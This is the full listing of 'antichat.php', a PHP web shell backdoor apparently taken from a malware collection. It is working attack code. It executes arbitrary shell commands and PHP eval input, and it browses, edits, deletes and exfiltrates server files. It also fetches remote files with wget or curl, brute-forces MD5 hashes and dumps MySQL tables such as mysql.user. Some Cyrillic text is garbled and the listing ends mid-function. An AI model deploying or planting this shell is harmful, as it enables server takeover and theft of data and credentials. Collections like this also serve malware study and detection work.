PageRenderTime 67ms CodeModel.GetById 31ms RepoModel.GetById 1ms app.codeStats 0ms

/Backdoors/PHP/antichat.php

http://web-malware-collection.googlecode.com/
PHP | 872 lines | 815 code | 46 blank | 11 comment | 195 complexity | e8c85ddc50bea4c58102c6c53e113d5d MD5 | raw file
  1. <?php
  2. session_start();
  3. set_magic_quotes_runtime(0);
  4. set_time_limit(0);
  5. error_reporting(0);
  6. $self = $HTTP_SERVER_VARS['PHP_SELF'];
  7. if(get_magic_quotes_gpc()) {
  8. foreach ($_POST as $k => $v) {
  9. $_POST[$k] = stripslashes($v);
  10. }
  11. }
  12. @ini_set('max_execution_time',0);
  13. if(@ini_get('safe_mode') == '1') {
  14. $safe_mode="ON";
  15. } else {
  16. $safe_mode="OFF";
  17. }
  18. if(@ini_get('disable_functions') != "") {
  19. $disfunc = ini_get('disable_functions');
  20. } else {
  21. $disfunc = 0;
  22. }
  23. if(strtoupper(substr(PHP_OS, 0, 3))==='WIN') {
  24. $os = 1;
  25. } else {
  26. $os = 0;
  27. }
  28. $action = $_POST['action'];
  29. $file = $_POST['file'];
  30. $dir = $_POST['dir'];
  31. $content = '';
  32. $stdata = '';
  33. $style = '<STYLE>
  34. BODY{background-color: #2b2f34;color: #9acd32;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #31333b;scrollbar-shadow-color: #363940;scrollbar-highlight-color: #363940;scrollbar-3dlight-color: #363940;scrollbar-darkshadow-color: #363940;scrollbar-track-color: #363940;scrollbar-arrow-color: #363940;}
  35. input{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}
  36. select{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}
  37. textarea{background-color: #363940;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}
  38. a:link{color: #91cd32;text-decoration: none;font-size: 8pt;}
  39. a:visited{color: #91cd32;text-decoration: none;font-size: 8pt;}
  40. a:hover, a:active{background-color: #A8A8AD;color: #E7E7EB;text-decoration: none;font-size: 8pt;}
  41. td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}</style>';
  42. $header = '<html><head><title>'.getenv("HTTP_HOST").' - Antichat Shell</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251">'.$style.'</head><body leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>';
  43. $footer = '</body></html>';
  44. $lang = array(
  45. 'filext'=>'File already exists.',
  46. 'uploadok'=>'File was successfully uploaded.',
  47. 'dircrt'=>'Dir is created.',
  48. 'dontlist'=>'Listing dir permission denide.',
  49. 'dircrterr'=>'Don\'t create dir.',
  50. 'dirnf'=>'Dir not found.',
  51. 'filenf'=>'File not found.',
  52. 'dontwrdir'=>'Only read current dir.',
  53. 'empty'=>'Directory not empty or access denide.',
  54. 'deletefileok'=>'File deleted.',
  55. 'deletedirok'=>'Dir deleted.',
  56. 'isdontfile'=>'Selected file this is link.',
  57. 'cantrfile'=>'Cant read file, permission denide.',
  58. 'onlyracc'=>'Don\'t edit, only read access.',
  59. 'workdir'=>'Work directory: ',
  60. 'fullacc'=>'Full access.',
  61. 'fullaccdir'=>'Full accees you are can create and delete dir.',
  62. 'thisnodir'=>'This is don\'t dir.',
  63. 'allfuncsh'=>'All function for work shell was disabled.'
  64. );
  65. $act = array('viewer','editor','upload','shell','phpeval','download','delete','deletedir','brute','mysql');//here added new actions
  66. function test_file($file){
  67. if(!file_exists($file))$err="1";
  68. elseif(!is_file($file)) $err="2";
  69. elseif(!is_readable($file))$err="3";
  70. elseif(!is_writable($file)) {
  71. $err="4";
  72. } else {
  73. $err="5";
  74. }
  75. return $err;
  76. }
  77. function test_dir($dir){
  78. if(!file_exists($dir))$err="1";
  79. elseif(!is_dir($dir)) $err="2";
  80. elseif(!is_readable($dir))$err="3";
  81. elseif(!is_writable($dir)) {
  82. $err="4";
  83. } else {
  84. $err="5";
  85. }
  86. return $err;
  87. }
  88. function perms($file) {
  89. $perms = fileperms($file);
  90. if (($perms & 0xC000) == 0xC000) {
  91. $info = 's';
  92. }
  93. elseif(($perms & 0xA000) == 0xA000) {
  94. $info = 'l';
  95. }
  96. elseif(($perms & 0x8000) == 0x8000) {
  97. $info = '-';
  98. }
  99. elseif(($perms & 0x6000) == 0x6000) {
  100. $info = 'b';
  101. }
  102. elseif(($perms & 0x4000) == 0x4000) {
  103. $info = 'd';
  104. }
  105. elseif(($perms & 0x2000) == 0x2000) {
  106. $info = 'c';
  107. }
  108. elseif(($perms & 0x1000) == 0x1000) {
  109. $info = 'p';
  110. } else {
  111. $info = 'u';
  112. }
  113. $info .= (($perms & 0x0100) ? 'r' : '-');
  114. $info .= (($perms & 0x0080) ? 'w' : '-');
  115. $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
  116. $info .= (($perms & 0x0020) ? 'r' : '-');
  117. $info .= (($perms & 0x0010) ? 'w' : '-');
  118. $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
  119. $info .= (($perms & 0x0004) ? 'r' : '-');
  120. $info .= (($perms & 0x0002) ? 'w' : '-');
  121. $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
  122. return $info;}
  123. function view_size($size){
  124. if($size >= 1073741824) {
  125. $size = @round($size / 1073741824 * 100) / 100 . " GB";
  126. }
  127. elseif($size >= 1048576) {
  128. $size = @round($size / 1048576 * 100) / 100 . " MB";
  129. }
  130. elseif($size >= 1024) {
  131. $size = @round($size / 1024 * 100) / 100 . " KB";
  132. } else {
  133. $size = $size . " B";
  134. }
  135. return $size;}
  136. if(isset($action)) {
  137. if(!in_array($action,$act)) {
  138. $action = "viewer";
  139. } else {
  140. $action = $action;
  141. }
  142. } else {
  143. $action = "viewer";
  144. }
  145. if(isset($dir)){
  146. $ts['test'] = test_dir($dir);
  147. switch($ts['test']){
  148. case 1:
  149. $stdata.=$lang['dirnf'];
  150. break;
  151. case 2:
  152. $stdata.=$lang['thisnodir'];
  153. break;
  154. case 3:
  155. $stdata.=$lang['dontlist'];
  156. break;
  157. case 4:
  158. $stdata.=$lang['dontwrdir'];
  159. $dir=chdir($GLOBALS['dir']);
  160. break;
  161. case 5:
  162. $stdata.=$lang['fullaccdir'];
  163. $dir=chdir($GLOBALS['dir']);
  164. break;
  165. }
  166. } else {
  167. $dir=@chdir($dir);
  168. }
  169. $dir = getcwd()."/";
  170. $dir = str_replace("\\","/",$dir);
  171. if(isset($file)){
  172. $ts['test1'] = test_file($file);
  173. switch ($ts['test1']){
  174. case 1:
  175. $stdata .=$lang['filenf'];
  176. break;
  177. case 2:
  178. $stdata .=$lang['isdontfile'];
  179. break;
  180. case 3:
  181. $stdata .=$lang['cantrfile'];
  182. break;
  183. case 4:
  184. $stdata .=$lang['onlyracc'];
  185. $file = $file;
  186. break;
  187. case 5:
  188. $stdata .=$lang['fullacc'];
  189. $file = $file;
  190. break;
  191. }
  192. }
  193. function shell($cmd) {
  194. global $lang;
  195. $ret = '';
  196. if(!empty($cmd)) {
  197. if(function_exists('exec')){
  198. @exec($cmd,$ret);$ret = join("\n",$ret);
  199. } elseif(function_exists('shell_exec')) {
  200. $ret = @shell_exec($cmd);
  201. } elseif(function_exists('system')) {
  202. @ob_start()
  203. ;@system($cmd);
  204. $ret = @ob_get_contents();
  205. @ob_end_clean();
  206. } elseif(function_exists('passthru')) {
  207. @ob_start();
  208. @passthru($cmd);
  209. $ret = @ob_get_contents();
  210. @ob_end_clean();
  211. } elseif(@is_resource($f = @popen($cmd,"r"))) {
  212. $ret = "";
  213. while(!@feof($f)) {
  214. $ret .= @fread($f,1024);
  215. }
  216. @pclose($f);
  217. } else {
  218. $ret=$lang['allfuncsh'];
  219. }
  220. }
  221. return $ret;
  222. }
  223. function createdir($dir) {
  224. mkdir($dir);
  225. }
  226. //delete file
  227. if($action == 'delete') {
  228. if(unlink($file))
  229. $content.=$lang['deletefileok']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>";
  230. }
  231. //delete dir
  232. if($action == 'deletedir') {
  233. if(!rmdir($file)) {
  234. $content .=$lang['empty']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>";
  235. } else {
  236. $content .=$lang['deletedirok']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>";
  237. }
  238. }
  239. //shell
  240. if($action == 'shell'){
  241. $content .="<form method=\"POST\">
  242. <input type=\"hidden\" name=\"action\" value=\"shell\">
  243. <textarea name=\"command\" rows=\"5\" cols=\"150\">".@$_POST['command']."</textarea><br>
  244. <textarea readonly rows=\"15\" cols=\"150\">".convert_cyr_string(htmlspecialchars(shell($_POST['command'])),"d","w")."</textarea><br>
  245. <input type=\"submit\" value=\"execute\"></form>";
  246. }
  247. //editor
  248. if($action == 'editor'){
  249. $stdata.="<tr><td><form method=POST>
  250. <input type=\"hidden\" name=\"action\" value=\"editor\">
  251. <input type=\"hidden\" name=\"dir\" value=\"".$dir."\">
  252. Open file:<input type=text name=file value=\"".($file=="" ? $file=$dir : $file=$file)."\" size=50><input type=submit value=\">>\"></form>";
  253. function writef($file,$data){
  254. $fp = fopen($file, "w+");
  255. fwrite($fp, $data);
  256. fclose($fp);
  257. }
  258. function readf($file){
  259. clearstatcache();
  260. $f = fopen($file, "r");
  261. $contents = fread($f,filesize($file));
  262. fclose($f);
  263. return htmlspecialchars($contents);
  264. }
  265. if(@$_POST['save'])
  266. writef($file, $_POST['data']);
  267. if(@$_POST['create'])
  268. writef($file,"");
  269. $test = test_file($file);
  270. if($test ==1 ){
  271. $content.="<form method=\"POST\">
  272. <input type=\"hidden\" name=\"action\" value=\"editor\">
  273. File name:<input type=\"text\" name=\"file\" value=\"".$file."\" size=\"50\"><br>
  274. <input type=\"submit\" name=\"create\" value=\"Create new file with this name?\">
  275. <input type=\"reset\" value=\"No\"></form>";
  276. }
  277. if($test > 2){
  278. $content.="<form method=\"POST\">
  279. <input type=\"hidden\" name=\"action\" value=\"editor\">
  280. <input type=\"hidden\" name=\"file\" value=\"".$file."\">
  281. <textarea name=\"data\" rows=\"30\" cols=\"180\">".@readf($file)."</textarea><br>
  282. <input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";
  283. }
  284. }
  285. //viewer
  286. if($action == 'viewer'){
  287. $content.="<table cellSpacing=0 border=2 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";
  288. $content.="<tr><td><form method=POST><br>Open directory: <input type=text name=dir value=\"".$dir."\" size=50><input type=submit value=\">>\"></form>";
  289. if (is_dir($dir)) {
  290. if (@$dh = opendir($dir)) {
  291. while (($file = readdir($dh)) !== false) {
  292. if(filetype($dir . $file) == 'dir')
  293. $dire[] = $file;
  294. if(filetype($dir . $file) == 'file')
  295. $files[] = $file;
  296. }
  297. closedir($dh);
  298. @sort($dire);
  299. @sort($files);
  300. if ($GLOBALS['os'] == 1) {
  301. $content.="<tr><td>Select drive:";
  302. for ($j = ord('C'); $j <= ord('Z'); $j++)
  303. if (@$dh = opendir(chr($j).":/"))
  304. $content .='<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($j).':/\'; document.reqs.submit();"> '.chr($j).'<a/>';
  305. $content .="</td></tr>";
  306. }
  307. $content .="<tr><td>Name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>";
  308. for($i = 0;$i < count($dire);$i++) {
  309. $link = $dir.$dire[$i];
  310. $content .='<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$link.'\'; document.reqs.submit();">'.$dire[$i].'<a/></td>
  311. <td>dir</td><td></td><td>'.perms($link).'</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
  312. }
  313. for($i = 0;$i < count($files);$i++) {
  314. $linkfile = $dir.$files[$i];
  315. $content .='<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();">'.$files[$i].'</a><br></td>
  316. <td>file</td><td>'.view_size(filesize($linkfile)).'</td><td>'.perms($linkfile).'</td><td><a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Download">D</a>
  317. <a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Edit">E</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
  318. }
  319. $content .="</table>";
  320. }
  321. }
  322. }
  323. //downloader
  324. if($action == 'download') {
  325. header('Content-Length:'.filesize($file).'');
  326. header('Content-Type: application/octet-stream');
  327. header('Content-Disposition: attachment; filename="'.$file.'"');
  328. readfile($file);
  329. }
  330. //phpeval
  331. if($action == 'phpeval') {
  332. $content.="<form method=\"POST\">
  333. <input type=\"hidden\" name=\"action\" value=\"phpeval\">
  334. <input type=\"hidden\" name=\"dir\" value=\"".$dir."\">
  335. &lt;?php<br>
  336. <textarea name=\"phpev\" rows=\"5\" cols=\"150\">".@$_POST['phpev']."</textarea><br>
  337. ?><br>
  338. <input type=\"submit\" value=\"execute\"></form>";
  339. if(isset($_POST['phpev']))
  340. $content .=eval($_POST['phpev']);
  341. }
  342. //upload
  343. if($action == 'upload') {
  344. if(isset($_POST['dirupload'])) {
  345. $dirupload = $_POST['dirupload'];
  346. } else {
  347. $dirupload = $dir;
  348. }
  349. $form_win = "<table><form method=POST enctype=multipart/form-data>
  350. <tr><td><input type=\"hidden\" name=\"action\" value=\"upload\">
  351. Upload to dir: <input type=text name=dirupload value=\"".$dirupload."\" size=50><tr><td>New file name: <input type=text name=filename></td></tr><tr><td><input type=file name=file> <input type=submit name=uploadloc value='Upload local file'></td></tr>";
  352. if($os == 1)
  353. $content.=$form_win;
  354. if($os == 0){
  355. $content .=$form_win;
  356. $content .='<tr><td><select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>File addres:<input type=text name=urldown>
  357. <input type=submit name=upload value=Upload></form></td></tr>';
  358. }
  359. if(isset($_POST['uploadloc'])) {
  360. if(!isset($_POST['filename'])) {
  361. $uploadfile = $dirupload.basename($_FILES['file']['name']);
  362. } else {
  363. $uploadfile = $dirupload."/".$_POST['filename'];
  364. }
  365. if(test_dir($dirupload) == 1 && test_dir($dir) != 3 && test_dir($dir) != 4) {
  366. createdir($dirupload);
  367. }
  368. if(file_exists($uploadfile))$content .= $lang['filext'];
  369. elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
  370. $content .=$lang['uploadok'];
  371. }
  372. if(isset($_POST['upload'])){
  373. if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename']))
  374. switch($_POST['with'])
  375. {
  376. case wget:shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");break;
  377. case fetch:shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");break;
  378. case lynx:shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;
  379. case links:shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;
  380. case GET:shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");break;
  381. case curl:shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");break;
  382. }}}
  383. //Brute
  384. if($action == 'brute'){
  385. function Brute() {
  386. global $action,$pass_de,$chars_de,$dat,$date;
  387. ignore_user_abort(1);
  388. }
  389. if($chars_de == "") {
  390. $chars_de ="";
  391. }
  392. $content ="<table><form action='$php_self' method=post name=md5><tr><td><b>Decrypte MD5</b>
  393. <tr><td>&nbsp;MD5 ???:<b>".$pass_de."</b></td>
  394. <input type='hidden' name='action' value='$action'>
  395. <tr><td>&nbsp;<textarea class='inputbox' name='chars_de' cols='50' rows='5'>".$chars_de."</textarea></td>
  396. <td><b>??????? ????:</b><br><font color=red><b><u>ENG:</u></b></font>
  397. <a class=menu href=javascript:ins('abcdefghijklmnopqrstuvwxyz')>[a-z]</a>
  398. <a class=menu href=javascript:ins('ABCDEFGHIJKLMNOPQRSTUVWXYZ')>[A-Z]</a><br>
  399. <a class=menu href=javascript:ins('0123456789')>[0-9]</a>
  400. <a class=menu href=javascript:ins('~`\!@#$%^&*()-_+=|/?&gt;<[]{}:?.,&quot;')>[???????]</a><br><br>
  401. <font color=red><b><u>RUS:</u></b></font>
  402. <a class=menu href=javascript:ins('?????????????????????????????????')>[?-?]</a>
  403. <a class=menu href=javascript:ins('?????????????????????????????????')>[?-?]</a>
  404. <br></br><input type=reset value=???????? class=button1></td></tr>
  405. <tr><td>&nbsp;<input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''>
  406. </td><td><input type='submit' value='Decrypt MD5' class=button1></td></tr></form>
  407. <script>
  408. function ins(text){
  409. document.md5.chars_de.value+=text;
  410. document.md5.chars_de.focus();}
  411. </script>";
  412. if($_POST['pass_de']) {
  413. $pass_de = htmlspecialchars($pass_de);
  414. $pass_de = stripslashes($pass_de);
  415. $dat = date("H:i:s");
  416. $date = date("d:m:Y");
  417. }
  418. {
  419. crack_md5();
  420. }
  421. }
  422. function crack_md5() {
  423. global $chars_de;
  424. $chars = $_POST[chars];
  425. ignore_user_abort(1);
  426. $chars_de = str_replace("<",chr(60),$chars_de);
  427. $chars_de = str_replace(">",chr(62),$chars_de);
  428. $c = strlen($chars_de);
  429. for($next = 0; $next <= 31; $next++) {
  430. for($i1 = 0; $i1 <= $c; $i1++) {
  431. $word[1] = $chars_de{$i1};
  432. for($i2 = 0; $i2 <= $c; $i2++) {
  433. $word[2] = $chars_de{$i2};
  434. if($next <= 2) {
  435. result(implode($word));
  436. } else {
  437. for ($i3 = 0; $i3 <= $c; $i3++) {
  438. $word[3] = $chars_de{$i3};
  439. if ($next <= 3) {
  440. result(implode($word));
  441. }else {
  442. for($i4 = 0; $i4 <= $c; $i4++) {
  443. $word[4] = $chars_de{$i4};
  444. if($next <= 4) {
  445. result(implode($word));
  446. }else {
  447. for ($i5 = 0; $i5 <= $c; $i5++) {
  448. $word[5] = $chars_de{$i5};
  449. if ($next <= 5) {
  450. result(implode($word));
  451. }else {
  452. for ($i6 = 0; $i6 <= $c; $i6++) {
  453. $word[6] = $chars_de{$i6};
  454. if ($next <= 6) {
  455. result(implode($word));
  456. }else {
  457. for ($i7 = 0; $i7 <= $c; $i7++) {
  458. $word[7] = $chars_de{$i7};
  459. if ($next <= 7) {
  460. result(implode($word));
  461. }else {
  462. for ($i8 = 0; $i8 <= $c; $i8++) {
  463. $word[8] = $chars_de{$i8};
  464. if ($next <= 8) {
  465. result(implode($word));
  466. }else {
  467. for ($i9 = 0; $i9 <= $c; $i9++) {
  468. $word[9] = $chars_de{$i9};
  469. if ($next <= 9) {
  470. result(implode($word));
  471. }else {
  472. for ($i10 = 0; $i10 <= $c; $i10++) {
  473. $word[10] = $chars_de{$i10};
  474. if ($next <= 10) {
  475. result(implode($word));
  476. }else {
  477. for ($i11 = 0; $i11 <= $c; $i11++) {
  478. $word[11] = $chars_de{$i11};
  479. if ($next <= 11) {
  480. result(implode($word));
  481. }else {
  482. for ($i12 = 0; $i12 <= $c; $i12++) {
  483. $word[12] = $chars_de{$i12};
  484. if ($next <= 12) {
  485. result(implode($word));
  486. }else {
  487. for ($i13 = 0; $i13 <= $c; $i13++) {
  488. $word[13] = $chars_de{$i13};
  489. if ($next <= 13) {
  490. result(implode($word));
  491. }else {
  492. for ($i14 = 0; $i14 <= $c; $i14++) {
  493. $word[14] = $chars_de{$i14};
  494. if ($next <= 14) {
  495. result(implode($word));
  496. }else {
  497. for ($i15 = 0; $i15 <= $c; $i15++) {
  498. $word[15] = $chars_de{$i15};
  499. if ($next <= 15) {
  500. result(implode($word));
  501. }else {
  502. for ($i16 = 0; $i16 <= $c; $i16++) {
  503. $word[16] = $chars_de{$i16};
  504. if ($next <= 16) {
  505. result(implode($word));
  506. }else {
  507. for ($i17 = 0; $i17 <= $c; $i17++) {
  508. $word[17] = $chars_de{$i17};
  509. if ($next <= 17) {
  510. result(implode($word));
  511. }else {
  512. for ($i18 = 0; $i18 <= $c; $i18++) {
  513. $word[18] = $chars_de{$i18};
  514. if ($next <= 18) {
  515. result(implode($word));
  516. }else {
  517. for ($i19 = 0; $i19 <= $c; $i19++) {
  518. $word[19] = $chars_de{$i19};
  519. if ($next <= 19) {
  520. result(implode($word));
  521. }else {
  522. for ($i20 = 0; $i20 <= $c; $i20++) {
  523. $word[20] = $chars_de{$i20};
  524. if ($next <= 20) {
  525. result(implode($word));
  526. }else {
  527. for ($i21 = 0; $i21 <= $c; $i21++) {
  528. $word[21] = $chars_de{$i21};
  529. if ($next <= 21) {
  530. result(implode($word));
  531. }else {
  532. for ($i22 = 0; $i22 <= $c; $i22++) {
  533. $word[22] = $chars_de{$i22};
  534. if ($next <= 22) {
  535. result(implode($word));
  536. }else {
  537. for ($i23 = 0; $i23 <= $c; $i23++) {
  538. $word[23] = $chars_de{$i23};
  539. if ($next <= 23) {
  540. result(implode($word));
  541. }else {
  542. for ($i24 = 0; $i24 <= $c; $i24++) {
  543. $word[24] = $chars_de{$i24};
  544. if ($next <= 24) {
  545. result(implode($word));
  546. }else {
  547. for ($i25 = 0; $i25 <= $c; $i25++) {
  548. $word[25] = $chars_de{$i25};
  549. if ($next <= 25) {
  550. result(implode($word));
  551. }else {
  552. for ($i26 = 0; $i26 <= $c; $i26++) {
  553. $word[26] = $chars_de{$i26};
  554. if ($next <= 26) {
  555. result(implode($word));
  556. }else {
  557. for ($i27 = 0; $i27 <= $c; $i27++) {
  558. $word[27] = $chars_de{$i27};
  559. if ($next <= 27) {
  560. result(implode($word));
  561. }else {
  562. for ($i28 = 0; $i28 <= $c; $i28++) {
  563. $word[28] = $chars_de{$i28};
  564. if ($next <= 28) {
  565. result(implode($word));
  566. }else {
  567. for ($i29 = 0; $i29 <= $c; $i29++) {
  568. $word[29] = $chars_de{$i29};
  569. if ($next <= 29) {
  570. result(implode($word));
  571. }else {
  572. for ($i30 = 0; $i30 <= $c; $i30++) {
  573. $word[30] = $chars_de{$i30};
  574. if ($next <= 30) {
  575. result(implode($word));
  576. }else {
  577. for ($i31 = 0; $i31 <= $c; $i31++) {
  578. $word[31] = $chars_de{$i31};
  579. if ($next <= 31) {
  580. result(implode($word));
  581. }}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
  582. function result($word) {
  583. global $dat,$date;
  584. $pass_de = $_POST[pass_de];
  585. $dat2 = date("H:i:s");
  586. $date2 = date("d:m:Y");
  587. if(md5($word) == $pass_de){
  588. echo "<STYLE>BODY{background-color: #2b2f34;color: #9acd32;</STYLE><table><tr><td>????????? ?????????? ???????? ???????:</td></tr>
  589. <tr><td>?????????????? ??????:</b></td><td><font color=red>&nbsp;&nbsp;$word</font></td></tr>
  590. <tr><td>?????? ????????:</td><td>&nbsp;&nbsp;$dat - $date</td></tr>
  591. <tr><td>????????? ????????:</td><td>&nbsp;&nbsp;$dat2 - $date2</td></tr>
  592. <tr><td>?????????? ???????? ????? ??????? ? ????: ".$word."_md5</td></tr></table>";
  593. $f = @fopen($word._md5,"a+");
  594. fputs($f,"??? ?? MD5 [$pass_de] = $word
  595. ?????? ????????:\t$dat - $date
  596. ????????? ????????:\t$dat2 - $date2");
  597. exit;
  598. }}
  599. //Mysql
  600. if($action == 'mysql') {
  601. if(isset($_POST['dif'])) {
  602. $fp = @fopen($_POST['dif_name'], "w");
  603. }
  604. if((!empty($_POST['dif']) && $fp) || (empty($_POST['dif']))) {
  605. $db = @mysql_connect('localhost',$_POST['mysql_l'],$_POST['mysql_p']);
  606. if($db) {
  607. if(@mysql_select_db($_POST['mysql_db'],$db)) {
  608. $sql1 .= "# ---------------------------------\r\n";
  609. $sql1 .= "# date : ".date ("j F Y g:i")."\r\n";
  610. $sql1 .= "# database : ".$_POST['mysql_db']."\r\n";
  611. $sql1 .= "# table : ".$_POST['mysql_tbl']."\r\n";
  612. $sql1 .= "# ---------------------------------\r\n\r\n";
  613. $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
  614. $row = @mysql_fetch_row($res);
  615. $sql1 .= $row[1]."\r\n\r\n";
  616. $sql1 .= "# ---------------------------------\r\n\r\n";
  617. $sql2 = '';
  618. $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
  619. if (@mysql_num_rows($res) > 0) {
  620. while ($row = @mysql_fetch_assoc($res)) {
  621. $keys = @implode("`, `", @array_keys($row));
  622. $values = @array_values($row);
  623. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  624. $values = @implode("', '", $values);
  625. $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".$values."');\r\n";
  626. }
  627. $sql2 .= "\r\n# ---------------------------------";
  628. }
  629. $content .="<center><b>??????! ???? ?????? ??????!</b></center>";
  630. if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
  631. else { echo $sql1.$sql2; }
  632. } // end if(@mysql_select_db($_POST['mysql_db'],$db))
  633. else $content.="<center><b>????? ?? ???!</b></center>";
  634. @mysql_close($db);
  635. }
  636. } // end if(($_POST['dif']&&$fp)||(!$_POST['dif'])){
  637. else if(!empty($_POST['dif'])&&!$fp) { $content.="<center><b>??????, ??? ???? ?????? ? ????!</b></center>"; }
  638. $content.="<form name='mysql_dump' action='$php_self' method='post'>
  639. <input type='hidden' name='action' value='$action'>
  640. &nbsp;????: <input type=text name=mysql_db size=15 value=";
  641. $content .=(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"));
  642. $content .=">&nbsp;???????: &nbsp;<input type=text name=mysql_tbl size=15 value=";
  643. $content .=(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"));
  644. $content .=">&nbsp;?????: &nbsp;<input type=text name=mysql_l size=15 value=";
  645. $content .=(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"));
  646. $content .=">&nbsp;??????: &nbsp;<input type=text name=mysql_p size=15 value=";
  647. $content .=(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"));
  648. $content .="><input type=hidden name=dir size=85 value=".$dir.">
  649. <input type=hidden name=cmd size=85 value=mysql_dump>
  650. <br>&nbsp;????????? ???? ? ?????: <input type=checkbox name=dif value=1 id=dif><input type=text name=dif_name size=80 value=";
  651. $content .=(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"));
  652. $content .="><input type=submit name=submit value=?????????></form>";
  653. @$php_self = $_POST['PHP_SELF'];
  654. @$from = $_POST['from'];
  655. @$to = $_POST['to'];
  656. @$adress = $_POST['adress'];
  657. @$port = $_POST['port'];
  658. @$login = $_POST['login'];
  659. @$pass = $_POST['pass'];
  660. @$adress = $_POST['adress'];
  661. @$port = $_POST['port'];
  662. @$login = $_POST['login'];
  663. @$pass = $_POST['pass'];
  664. if(!isset($adress)){
  665. $adress="localhost";
  666. }
  667. if(!isset($login)){
  668. $login="root";
  669. }
  670. if(!isset($pass)){
  671. $pass="";
  672. }
  673. if(!isset($port)){
  674. $port="3306";
  675. }
  676. if(!isset($from)){
  677. $from=0;
  678. }
  679. if(!isset($to)){
  680. $to=50;
  681. }
  682. if(!@$conn) {
  683. $content .="<form name='mysql_dump' action='$php_self' method='post'>
  684. <table><tr><td valign=top>
  685. <input type='hidden' name='action' value='$action'>
  686. <input type=hidden name=ac value=sql>
  687. <tr><td valign=top>????: &nbsp;&nbsp;&nbsp;&nbsp;<input name=adress value='$adress' size=20>
  688. <tr><td valign=top>????: &nbsp;&nbsp;&nbsp;&nbsp;<input name=port value='$port' size=20>
  689. <tr><td valign=top>?????: &nbsp;&nbsp;<input name=login value='$login' size=20>
  690. <tr><td valign=top>??????: <input name=pass value='$pass' size=20>
  691. <input type=hidden name=p value=sql></td></tr>
  692. <tr><td></td><td><input type=submit name=conn value=????????????></form></td></tr>
  693. </table>";
  694. }
  695. @$conn = $_POST['conn'];
  696. @$adress = $_POST['adress'];
  697. @$port = $_POST['port'];
  698. @$login = $_POST['login'];
  699. @$pass = $_POST['pass'];
  700. if($conn){
  701. $serv = @mysql_connect("$adress:$port", "$login", "$pass") or die("??????: ".mysql_error());
  702. if($serv) {
  703. $content .="<form name='conn' action='$php_self' method='post'><input type=hidden name=conn value=0>
  704. <input type='hidden' name='action' value='$action'>
  705. ??????: ????????? : <input type=submit name=exit value='????? ?? ????'></form>
  706. <table><tr><td><font color=red>[???????]</font><br></br>";
  707. }
